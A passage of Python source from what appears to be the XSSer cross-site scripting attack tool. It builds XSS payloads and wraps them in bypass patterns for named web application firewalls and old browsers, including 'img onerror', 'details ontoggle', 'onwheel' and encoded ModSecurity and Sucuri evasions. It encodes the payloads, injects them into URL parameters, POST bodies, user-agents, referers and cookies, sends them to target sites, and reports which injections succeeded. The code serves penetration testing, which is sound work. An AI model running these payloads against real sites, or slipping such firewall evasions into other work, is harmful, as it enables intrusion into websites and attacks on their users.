  597. agent, referer, cookie = self._prepare_extra_attacks(payload)
  598. else:
  599. agents = [] # user-agents
  600. try:
  601. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  602. except:
  603. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  604. for line in f:
  605. agents.append(line)
  606. agent = random.choice(agents).strip() # set random user-agent
  607. referer = "127.0.0.1"
  608. cookie = None
  609. if options.agent:
  610. agent = options.agent
  611. else:
  612. self.options.agent = agent
  613. if options.referer:
  614. referer = options.referer
  615. else:
  616. self.options.referer = referer
  617. if options.cookie:
  618. cookie = options.cookie
  619. else:
  620. self.options.cookie = cookie
  621. # get payload/vector
  622. payload_string = payload['payload'].strip()
  623. ### Anti-antiXSS exploits
  624. # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
  625. if options.phpids065:
  626. payload_string = 32*payload_string + payload_string
  627. # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
  628. if options.phpids070:
  629. payload_string = '<svg+onload=+"'+payload_string+'">'
  630. # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
  631. if options.imperva:
  632. payload_string = '<img src=x onerror="'+payload_string+'">'
  633. # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
  634. if options.webknight:
  635. payload_string = '<details ontoggle='+payload_string+'>'
  636. # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
  637. if options.f5bigip:
  638. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  639. # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
  640. if options.barracuda:
  641. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  642. # Apache / modsec [ALL] payload: special 18/02/2016
  643. if options.modsec:
  644. payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
  645. # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  646. if options.quickdefense:
  647. payload_string = '<details ontoggle="'+payload_string+'">'
  648. # SucuriWAF [ALL] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  649. if options.sucuri:
  650. payload_string = '<a+id="a"href=javascript%26colon;alert%26lpar;'+payload_string+'%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Y</a>'
  651. # Firefox 12 (and below) # 09/2019
  652. if options.firefox:
  653. payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
  654. # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
  655. if options.chrome:
  656. payload_string = "<script>/*///*/"+payload_string+"</script>"
  657. # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
  658. if options.iexplorer:
  659. payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
  660. # Opera 10.6 (but also IE6) # 09/2019
  661. if options.opera:
  662. payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
  663. # Substitute the attacking hash
  664. if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
  665. payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
  666. payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
  667. hashed_payload = payload_string
  668. # Imperva
  669. if options.imperva:
  670. hashed_payload = urllib.parse.urlencode({'':hashed_payload})
  671. hashed_payload = urllib.parse.urlencode({'':hashed_payload}) #DoubleURL encoding
  672. hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
  673. hashed_payload = str(hashed_payload) # + Unicode
  674. # Quick Defense
  675. if options.quickdefense:
  676. hashed_payload = str(hashed_payload) # + Unicode
  677. # apply user final attack url payload
  678. if user_attack_payload:
  679. hashed_vector_url = self.encoding_permutations(user_attack_payload)
  680. else:
  681. hashed_vector_url = self.encoding_permutations(hashed_payload)
  682. # replace special payload string also for extra attacks
  683. if self.extra_hashed_injections:
  684. hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
  685. for k, v in self.extra_hashed_injections.items():
  686. if v[1] in hashed_payload:
  687. self.extra_hashed_vector_url[k] = v[0], hashed_payload
  688. self.extra_hashed_injections = self.extra_hashed_vector_url
  689. if not options.getdata: # using GET as a single input (-u)
  690. target_url = url
  691. else:
  692. if not url.endswith("/") and not options.getdata.startswith("/"):
  693. url = url + "/"
  694. target_url = url + options.getdata
  695. p_uri = urlparse(target_url)
  696. uri = p_uri.netloc
  697. path = p_uri.path
  698. if not uri.endswith('/') and not path.startswith('/'):
  699. uri = uri + "/"
  700. if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
  701. if not "XSS" in target_url:
  702. if not target_url.endswith("/"):
  703. target_url = target_url + "/XSS"
  704. else:
  705. target_url = target_url + "XSS"
  706. target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
  707. if self.options.script:
  708. if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
  709. self.not_keyword_exit()
  710. if not target_params and not options.postdata:
  711. if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
  712. if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
  713. self.not_keyword_exit()
  714. else: # keyword found at target url (ex: https://target.com/XSS)
  715. if 'XSS' in target_url:
  716. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  717. elif 'X1S' in target_url:
  718. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  719. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  720. if "[B64]" in hashed_payload: # [DCP Injection]
  721. dcp_payload = hashed_payload.split("[B64]")[1]
  722. dcp_preload = hashed_payload.split("[B64]")[0]
  723. dcp_payload = b64encode(dcp_payload)
  724. hashed_payload = dcp_preload + dcp_payload
  725. self.hashed_injections[url_orig_hash] = target_url
  726. if user_attack_payload:
  727. pass
  728. else:
  729. hashed_vector_url = self.encoding_permutations(hashed_payload)
  730. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  731. target_url_params = urllib.parse.urlencode(target_params)
  732. if not uri.endswith('/') and not path.startswith('/'):
  733. uri = uri + "/"
  734. dest_url = p_uri.scheme + "://" + uri + path
  735. if not "XSS" in dest_url:
  736. if not dest_url.endswith("/"):
  737. dest_url = dest_url + "/" + hashed_vector_url
  738. else:
  739. dest_url = dest_url + hashed_vector_url
  740. else:
  741. if 'XSS' in dest_url:
  742. dest_url = dest_url.replace('XSS', hashed_vector_url)
  743. if 'X1S' in dest_url:
  744. dest_url = dest_url.replace('X1S', hashed_vector_url)
  745. else:
  746. if 'XSS' in target_url:
  747. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  748. elif 'X1S' in target_url:
  749. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  750. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  751. if "[B64]" in hashed_payload: # [DCP Injection]
  752. dcp_payload = hashed_payload.split("[B64]")[1]
  753. dcp_preload = hashed_payload.split("[B64]")[0]
  754. dcp_payload = b64encode(dcp_payload)
  755. hashed_payload = dcp_preload + dcp_payload
  756. self.hashed_injections[url_orig_hash] = target_url
  757. if user_attack_payload:
  758. pass
  759. else:
  760. hashed_vector_url = self.encoding_permutations(hashed_payload)
  761. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  762. target_url_params = urllib.parse.urlencode(target_params)
  763. if not uri.endswith('/') and not path.startswith('/'):
  764. uri = uri + "/"
  765. dest_url = p_uri.scheme + "://" + uri + path
  766. if 'XSS' in dest_url:
  767. dest_url = dest_url.replace('XSS', hashed_vector_url)
  768. if 'X1S' in dest_url:
  769. dest_url = dest_url.replace('X1S', hashed_vector_url)
  770. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  771. else:
  772. if not options.postdata:
  773. r = 0
  774. for key, value in target_params.items(): # parse params searching for keywords
  775. for v in value:
  776. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  777. if v == 'XSS':
  778. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  779. elif v == 'X1S':
  780. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  781. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  782. if "[B64]" in hashed_payload: # [DCP Injection]
  783. dcp_payload = hashed_payload.split("[B64]")[1]
  784. dcp_preload = hashed_payload.split("[B64]")[0]
  785. dcp_payload = b64encode(dcp_payload)
  786. hashed_payload = dcp_preload + dcp_payload
  787. self.hashed_injections[url_orig_hash] = key
  788. if user_attack_payload:
  789. pass
  790. else:
  791. hashed_vector_url = self.encoding_permutations(hashed_payload)
  792. target_params[key] = hashed_vector_url
  793. r = r + 1
  794. else:
  795. if self.options.xsa or self.options.xsr or self.options.coo:
  796. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  797. self.hashed_injections[url_orig_hash] = key
  798. target_params[key] = v
  799. r = r + 1
  800. else:
  801. target_params[key] = v
  802. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  803. self.not_keyword_exit()
  804. payload_url = query_string.strip() + hashed_vector_url
  805. target_url_params = urllib.parse.urlencode(target_params)
  806. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  807. else: # using POST provided by parameter (-p)
  808. target_params = parse_qs(query_string, keep_blank_values=True)
  809. r = 0
  810. for key, value in target_params.items(): # parse params searching for keywords
  811. for v in value:
  812. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  813. if v == 'XSS':
  814. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  815. elif v == 'X1S':
  816. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  817. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  818. if "[B64]" in hashed_payload: # [DCP Injection]
  819. dcp_payload = hashed_payload.split("[B64]")[1]
  820. dcp_preload = hashed_payload.split("[B64]")[0]
  821. dcp_payload = b64encode(dcp_payload)
  822. hashed_payload = dcp_preload + dcp_payload
  823. self.hashed_injections[url_orig_hash] = key
  824. if user_attack_payload:
  825. pass
  826. else:
  827. hashed_vector_url = self.encoding_permutations(hashed_payload)
  828. target_params[key] = hashed_vector_url
  829. r = r + 1
  830. else:
  831. if self.options.xsa or self.options.xsr or self.options.coo:
  832. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  833. self.hashed_injections[url_orig_hash] = key
  834. target_params[key] = v
  835. r = r + 1
  836. else:
  837. target_params[key] = v
  838. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  839. self.not_keyword_exit()
  840. target_url_params = urllib.parse.urlencode(target_params)
  841. dest_url = target_url_params
  842. self._ongoing_attacks['url'] = url_orig_hash
  843. if payload['browser'] == "[Document Object Model Injection]": # url decoding/unquote DOM payloads to execute url #fragments
  844. dest_url = urllib.parse.unquote(dest_url)
  845. return dest_url, agent, referer, cookie
  846. def attack_url_payload(self, url, payload, query_string):
  847. if not self.pool:
  848. pool = self.mothership.pool
  849. else:
  850. pool = self.pool
  851. c = Curl()
  852. if self.options.getdata or not self.options.postdata:
  853. dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
  854. def _cb(request, result):
  855. self.finish_attack_url_payload(c, request, result, payload,
  856. query_string, url, dest_url)
  857. _error_cb = self.error_attack_url_payload
  858. def _error_cb(request, error):
  859. self.error_attack_url_payload(c, url, request, error)
  860. c.agent = agent
  861. c.referer = referer
  862. c.cookie = cookie
  863. if " " in dest_url: # parse blank spaces
  864. dest_url = dest_url.replace(" ", "+")
  865. pool.addRequest(c.get, [[dest_url]], _cb, _error_cb)
  866. self._ongoing_requests += 1
  867. if self.options.postdata:
  868. dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
  869. def _cb(request, result):
  870. self.finish_attack_url_payload(c, request, result, payload,
  871. query_string, url, dest_url)
  872. _error_cb = self.error_attack_url_payload
  873. def _error_cb(request, error):
  874. self.error_attack_url_payload(c, url, request, error)
  875. dest_url = dest_url.strip().replace("/", "", 1)
  876. c.agent = agent
  877. c.referer = referer
  878. c.cookie = cookie
  879. pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
  880. self._ongoing_requests += 1
  881. def error_attack_url_payload(self, c, url, request, error):
  882. self._ongoing_requests -= 1
  883. for reporter in self._reporters:
  884. reporter.mosquito_crashed(url, str(error[0]))
  885. dest_url = request.args[0]
  886. self.report("[Error] Failed attempt (URL Malformed!?): " + url + "\n")
  887. self.urlmalformed = True
  888. if self.urlmalformed == True and self.urlspoll[0] == url:
  889. self.land()
  890. if DEBUG == True:
  891. self.report(str(error[0]))
  892. traceback.print_tb(error[2])
  893. c.close()
  894. del c
  895. return
  896. def finish_attack_url_payload(self, c, request, result, payload,
  897. query_string, url, dest_url):
  898. self.round_complete = self.round_complete + 1
  899. self.report("="*75)
  900. self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
  901. self.report("="*75)
  902. self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
  903. self._ongoing_requests -= 1
  904. # adding constant head check number flag
  905. if self.options.isalive:
  906. self.flag_isalive_num = int(self.options.isalive)
  907. if not self.options.isalive:
  908. pass
  909. elif self.options.isalive and not self.options.nohead:
  910. self.errors_isalive = self.errors_isalive + 1
  911. if self.errors_isalive > self.options.isalive:
  912. pass
  913. else:
  914. self.report("---------------------")
  915. self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
  916. if self.next_isalive == True:
  917. hc = Curl()
  918. self.next_isalive = False
  919. try:
  920. urls = hc.do_head_check([url])
  921. except:
  922. print("[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  923. self.errors_isalive = 0
  924. return
  925. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  926. print("HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n")
  927. print("- Your target still Alive: " + "(" + url + ")")
  928. print("- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n")
  929. print(" - your injections are failing: normal :-)")
  930. print(" - maybe exists some IPS/NIDS/... systems blocking your requests!\n")
  931. else:
  932. if str(hc.info()["http-code"]) == "0":
  933. print("\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  934. else:
  935. print("HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n")
  936. print("- Your target " + "(" + url + ")" + " looks that is NOT alive")
  937. print("- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n")
  938. self.errors_isalive = 0
  939. else:
  940. if str(self.errors_isalive) >= str(self.options.isalive):
  941. self.report("---------------------")
  942. self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
  943. self.next_isalive = True
  944. self.options.isalive = self.flag_isalive_num
  945. else:
  946. if self.options.isalive and self.options.nohead:
  947. self.report("---------------------")
  948. self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
  949. self.report("---------------------")
  950. # check results an alternative url, choosing method and parameters, or not
  951. if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
  952. self.options.altm = "GET"
  953. if self.options.altm == "post":
  954. self.options.altm = "POST"
  955. if self.options.alt == None:
  956. pass
  957. else:
  958. self.report("="*45)
  959. self.report("[+] Checking Response Options:", "\n")
  960. self.report("[+] Url:", self.options.alt)
  961. self.report("[-] Method:", self.options.altm)
  962. if self.options.ald:
  963. self.report("[-] Parameter(s):", self.options.ald, "\n")
  964. else:
  965. self.report("[-] Parameter(s):", query_string, "\n")
  966. if c.info()["http-code"] in ["200", "302", "301"]:
  967. if self.options.statistics:
  968. self.success_connection = self.success_connection + 1
  969. self._report_attack_success(c, dest_url, payload,
  970. query_string, url)
  971. else:
  972. self._report_attack_failure(c, dest_url, payload,
  973. query_string, url)
  974. # checking response results
  975. if self.options.alt == None:
  976. pass
  977. else:
  978. self.report("="*45)
  979. self.report("[+] Checking Response Results:", "\n")
  980. self.report("Searching using", self.options.altm, "for:", orig_hash, "on alternative url")
  981. if 'PAYLOAD' in payload['payload']:
  982. user_attack_payload = payload['payload'].replace('PAYLOAD', orig_hash)
  983. if self.options.ald:
  984. query_string = self.options.ald
  985. if "VECTOR" in self.options.alt:
  986. dest_url = self.options.alt
  987. else:
  988. if not dest_url.endswith("/"):
  989. dest_url = dest_url + "/"
  990. if self.options.altm == 'POST':
  991. dest_url = "" + query_string + user_attack_payload
  992. dest_url = dest_url.strip().replace("/", "", 1)
  993. data = c.post(url, dest_url)
  994. else:
  995. dest_url = self.options.alt + query_string + user_attack_payload
  996. c.get(dest_url)
  997. # perform check response injection
  998. if c.info()["http-code"] in ["200", "302", "301"]:
  999. if self.options.statistics:
  1000. self.success_connection = self.success_connection + 1
  1001. self._report_attack_success(c, dest_url, payload,
  1002. query_string, url)
  1003. else:
  1004. self._report_attack_failure(c, dest_url, payload,
  1005. query_string, url)
  1006. c.close()
  1007. del c
  1008. def encoding_permutations(self, enpayload_url):
  1009. """
  1010. perform encoding permutations on the url and query_string.
  1011. """
  1012. options = self.options
  1013. if options.Cem:
  1014. enc_perm = options.Cem.split(",")
  1015. for _enc in enc_perm:
  1016. enpayload_url = self.encmap[_enc](enpayload_url)
  1017. else:
  1018. for enctype in list(self.encmap.keys()):
  1019. if getattr(options, enctype):
  1020. enpayload_url = self.encmap[enctype](enpayload_url)
  1021. return enpayload_url
  1022. def _report_attack_success(self, curl_handle, dest_url, payload,\
  1023. query_string, orig_url):
  1024. """
  1025. report connection success when attacking
  1026. """
  1027. if not orig_url in self.successful_urls:
  1028. self.successful_urls.append(orig_url)
  1029. options = self.options
  1030. current_hashes = [] # to check for ongoing hashes
  1031. if payload['browser'] == "[Heuristic test]":
  1032. for key, value in self.hashed_injections.items():
  1033. if str(key) in dest_url:
  1034. if key not in current_hashes:
  1035. self.final_hashes[key] = value
  1036. current_hashes.append(key)
  1037. elif self.options.hash:
  1038. for key, value in self.hashed_injections.items():
  1039. self.final_hashes[key] = value
  1040. current_hashes.append(key)
  1041. else:
  1042. self.report("-"*45)
  1043. self.report("\n[!] Hashing: \n")
  1044. for key, value in self.hashed_injections.items():
  1045. if str(key) in dest_url:
  1046. if key not in current_hashes:
  1047. self.report(" [ " +key+" ] : [" , value + " ]")
  1048. self.final_hashes[key] = value
  1049. current_hashes.append(key)
  1050. else:
  1051. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1052. b64_string = payload["payload"].split("[B64]")
  1053. b64_string = b64_string[1]
  1054. b64_string = b64_string.replace('PAYLOAD', key)
  1055. b64_string = b64encode(b64_string)
  1056. b64_string = urllib.parse.urlencode({'':b64_string})
  1057. if b64_string.startswith("="):
  1058. b64_string = b64_string.replace("=", "")
  1059. if str(b64_string) in str(dest_url):
  1060. if key not in current_hashes:
  1061. self.report(" [ " +key+" ] : [" , value + " ]")
  1062. self.final_hashes[key] = value
  1063. current_hashes.append(key)
  1064. else: # when using encoders (Str, Hex, Dec...)
  1065. payload_string = payload["payload"].replace("PAYLOAD", key)
  1066. hashed_payload = self.encoding_permutations(payload_string)
  1067. if self.options.Cem:
  1068. enc_perm = options.Cem.split(",")
  1069. for e in enc_perm:
  1070. hashed_payload = self.encoding_permutations(payload_string)
  1071. if e == "Str":
  1072. hashed_payload = hashed_payload.replace(",", "%2C")
  1073. if e == "Mix":
  1074. hashed_payload=urllib.parse.quote(hashed_payload)
  1075. if e == "Dec":
  1076. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1077. if e == "Hex":
  1078. hashed_payload = hashed_payload.replace("%", "%25")
  1079. if e == "Hes":
  1080. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1081. hashed_payload = hashed_payload.replace(";", "%3B")
  1082. else:
  1083. if self.options.Str:
  1084. hashed_payload = hashed_payload.replace(",", "%2C")
  1085. if self.options.Mix:
  1086. hashed_payload=urllib.parse.quote(hashed_payload)
  1087. if self.options.Dec:
  1088. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1089. if self.options.Hex:
  1090. hashed_payload = hashed_payload.replace("%", "%25")
  1091. if self.options.Hes:
  1092. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1093. hashed_payload = hashed_payload.replace(";", "%3B")
  1094. if str(hashed_payload) in str(dest_url):
  1095. if key not in current_hashes:
  1096. self.report(" [ " +key+" ] : [" , value + " ]")
  1097. self.final_hashes[key] = value
  1098. if self.extra_hashed_injections:
  1099. for k, v in self.extra_hashed_injections.items():
  1100. payload_url = str(v[1])
  1101. if payload_url == payload["payload"]:
  1102. if k not in current_hashes:
  1103. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1104. self.final_hashes[k] = v[0]
  1105. current_hashes.append(k)
  1106. self.report("\n"+"-"*45+"\n")
  1107. if payload['browser'] == "[Heuristic test]":
  1108. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1109. else:
  1110. if self.extra_hashed_injections:
  1111. extra_attacks=[]
  1112. if options.xsa:
  1113. extra_attacks.append("XSA")
  1114. if options.xsr:
  1115. extra_attacks.append("XSR")
  1116. if options.coo:
  1117. extra_attacks.append("COO")
  1118. if extra_attacks:
  1119. extra_attacks = "+ "+ str(extra_attacks)
  1120. if options.postdata:
  1121. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1122. else:
  1123. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1124. else:
  1125. if options.postdata:
  1126. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1127. else:
  1128. self.report("[*] Trying: \n\n" + dest_url.strip() + "\n")
  1129. if not self.options.hash and not self.options.script:
  1130. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1131. pass
  1132. else:
  1133. self.report("-"*45)
  1134. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1135. pass
  1136. else:
  1137. if not "XSS" in dest_url or not "X1S" in dest_url:
  1138. if self.options.xsa or self.options.xsr or self.options.coo:
  1139. pass
  1140. else:
  1141. self.report("-"*45)
  1142. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1143. if not self.options.verbose:
  1144. self.report("-"*45 + "\n")
  1145. else:
  1146. self.report("-"*45)
  1147. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1148. if not self.options.verbose:
  1149. self.report("-"*45 + "\n")
  1150. # statistics injections counters
  1151. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1152. self.check_positives = self.check_positives + 1
  1153. elif payload['browser']=="[Data Control Protocol Injection]":
  1154. self.dcp_injection = self.dcp_injection + 1
  1155. elif payload['browser']=="[Document Object Model Injection]":
  1156. self.dom_injection = self.dom_injection + 1
  1157. elif payload['browser']=="[Induced Injection]":
  1158. self.httpsr_injection = self.httpsr_injection + 1
  1159. elif payload['browser']=="[manual_injection]":
  1160. self.manual_injection = self.manual_injection + 1
  1161. else:
  1162. self.auto_injection = self.auto_injection +1
  1163. if not self.hashed_injections:
  1164. for k, v in self.extra_hashed_injections.items():
  1165. if k in current_hashes:
  1166. if v[0] == "XSA":
  1167. agent = v[1]
  1168. agent = agent.replace("PAYLOAD", k)
  1169. Curl.agent = agent
  1170. if v[0] == "XSR":
  1171. referer = v[1]
  1172. referer = referer.replace("PAYLOAD", k)
  1173. Curl.referer = referer
  1174. if v[0] == "COO":
  1175. cookie = v[1]
  1176. cookie = cookie.replace("PAYLOAD", k)
  1177. Curl.cookie = cookie
  1178. else:
  1179. for key, value in self.hashed_injections.items():
  1180. for k, v in self.extra_hashed_injections.items():
  1181. payload_url = v[1]
  1182. payload_url = payload_url.replace("PAYLOAD",key)
  1183. payload_url = payload_url.replace(" ", "+") # black magic!
  1184. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1185. if payload_url in final_dest_url:
  1186. if v[0] == "XSA":
  1187. agent = v[1]
  1188. agent = agent.replace("PAYLOAD", k)
  1189. Curl.agent = agent
  1190. if v[0] == "XSR":
  1191. referer = v[1]
  1192. referer = referer.replace("PAYLOAD", k)
  1193. Curl.referer = referer
  1194. if v[0] == "COO":
  1195. cookie = v[1]
  1196. cookie = cookie.replace("PAYLOAD", k)
  1197. Curl.cookie = cookie
  1198. else:
  1199. if k in current_hashes:
  1200. if v[0] == "XSA":
  1201. agent = v[1]
  1202. agent = agent.replace("PAYLOAD", k)
  1203. Curl.agent = agent
  1204. if v[0] == "XSR":
  1205. referer = v[1]
  1206. referer = referer.replace("PAYLOAD", k)
  1207. Curl.referer = referer
  1208. if v[0] == "COO":
  1209. cookie = v[1]
  1210. cookie = cookie.replace("PAYLOAD", k)
  1211. Curl.cookie = cookie
  1212. if options.verbose:
  1213. self.report("-"*45)
  1214. self.report("\n[+] HTTP Headers Verbose:\n")
  1215. self.report(" [Client Request]")
  1216. Curl.print_options()
  1217. self.report(" [Server Reply]\n")
  1218. self.report(curl_handle.info())
  1219. self.report("="*45)
  1220. self.report("[*] Injection(s) Results:")
  1221. self.report("="*45 + "\n")
  1222. if payload['browser']=="[Heuristic test]":
  1223. for key, value in self.final_hashes.items():
  1224. if str(key) in dest_url:
  1225. heuristic_string = key
  1226. heuristic_param = str(payload['payload']).strip('XSS')
  1227. # checking heuristic responses
  1228. if heuristic_string in curl_handle.body():
  1229. # ascii
  1230. if heuristic_param == "\\":
  1231. self.heuris_backslash_found = self.heuris_backslash_found + 1
  1232. # / same as ASCII and Unicode
  1233. elif heuristic_param == "/":
  1234. self.heuris_slash_found = self.heuris_slash_found + 1
  1235. self.heuris_une_slash_found = self.heuris_une_slash_found + 1
  1236. elif heuristic_param == ">":
  1237. self.heuris_mayor_found = self.heuris_mayor_found + 1
  1238. elif heuristic_param == "<":
  1239. self.heuris_minor_found = self.heuris_minor_found + 1
  1240. elif heuristic_param == ";":
  1241. self.heuris_semicolon_found = self.heuris_semicolon_found + 1
  1242. elif heuristic_param == "'":
  1243. self.heuris_colon_found = self.heuris_colon_found + 1
  1244. elif heuristic_param == '"':
  1245. self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
  1246. elif heuristic_param == "=":
  1247. self.heuris_equal_found = self.heuris_equal_found + 1
  1248. # une
  1249. elif heuristic_param == "%5C":
  1250. self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
  1251. elif heuristic_param == "%3E":
  1252. self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
  1253. elif heuristic_param == "%3C":
  1254. self.heuris_une_minor_found = self.heuris_une_minor_found + 1
  1255. elif heuristic_param == "%3B":
  1256. self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
  1257. elif heuristic_param == "%27":
  1258. self.heuris_une_colon_found = self.heuris_une_colon_found + 1
  1259. elif heuristic_param == "%22":
  1260. self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
  1261. elif heuristic_param == "%3D":
  1262. self.heuris_une_equal_found = self.heuris_une_equal_found + 1
  1263. # dec
  1264. elif heuristic_param == "&#92":
  1265. self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
  1266. elif heuristic_param == "&#47":
  1267. self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
  1268. elif heuristic_param == "&#62":
  1269. self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
  1270. elif heuristic_param == "&#60":
  1271. self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
  1272. elif heuristic_param == "&#59":
  1273. self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
  1274. elif heuristic_param == "&#39":
  1275. self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
  1276. elif heuristic_param == "&#34":
  1277. self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
  1278. elif heuristic_param == "&#61":
  1279. self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
  1280. self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
  1281. else:
  1282. if heuristic_param == "\\":
  1283. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1284. elif heuristic_param == "/":
  1285. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1286. elif heuristic_param == ">":
  1287. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1288. elif heuristic_param == "<":
  1289. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1290. elif heuristic_param == ";":
  1291. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1292. elif heuristic_param == "'":
  1293. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1294. elif heuristic_param == '"':
  1295. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1296. elif heuristic_param == "=":
  1297. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1298. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1299. elif self.options.hash:
  1300. for key, value in self.final_hashes.items():
  1301. if str(key) in dest_url:
  1302. if key in curl_handle.body():
  1303. self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
  1304. else:
  1305. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
